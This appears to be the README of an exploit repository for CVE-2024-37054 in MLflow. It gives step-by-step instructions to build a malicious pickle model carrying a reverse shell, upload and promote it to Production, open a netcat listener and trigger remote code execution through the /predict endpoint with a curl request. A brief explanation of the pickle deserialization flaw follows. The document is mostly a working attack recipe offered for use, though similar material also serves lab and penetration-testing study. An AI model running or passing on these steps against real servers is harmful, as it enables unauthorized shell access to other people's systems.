spydomain/cve-2024-37054-mlflow-reverse-shellExploit for CVE-2024-37054: generates a malicious pickle model, uploads it to MLflow, and triggers remote code execution via the /predict endpoint.
| File | Purpose |
|---|
generate_model.py | Generates malicious model.pkl with reverse shell payload |
upload_model.py | Uploads pickle to MLflow and promotes it to Production |
sample.csv | CSV file used to trigger the /predict endpoint |
Edit generate_model.py and set your tun0 IP:
python3 generate_model.py
nc -lvnp 4444
Edit upload_model.py:
MLFLOW to http://127.0.0.1:5000MODEL_NAME to the active model name found on the main domainpython3 upload_model.py
Get a fresh session cookie from the client app, then:
curl -X POST http://127.0.0.1:80/predict \
-H "Cookie: session=<YOUR_SESSION_COOKIE>" \
-F "[email protected]"
Shell catches on your listener.
Pickle Deserialization via MLflow Model Registry
MLflow loads registered models using Python's pickle.load(). By uploading a crafted pickle as a model artifact and promoting it to Production, any subsequent call to /predict deserializes the payload server-side, achieving unauthenticated RCE as the application user.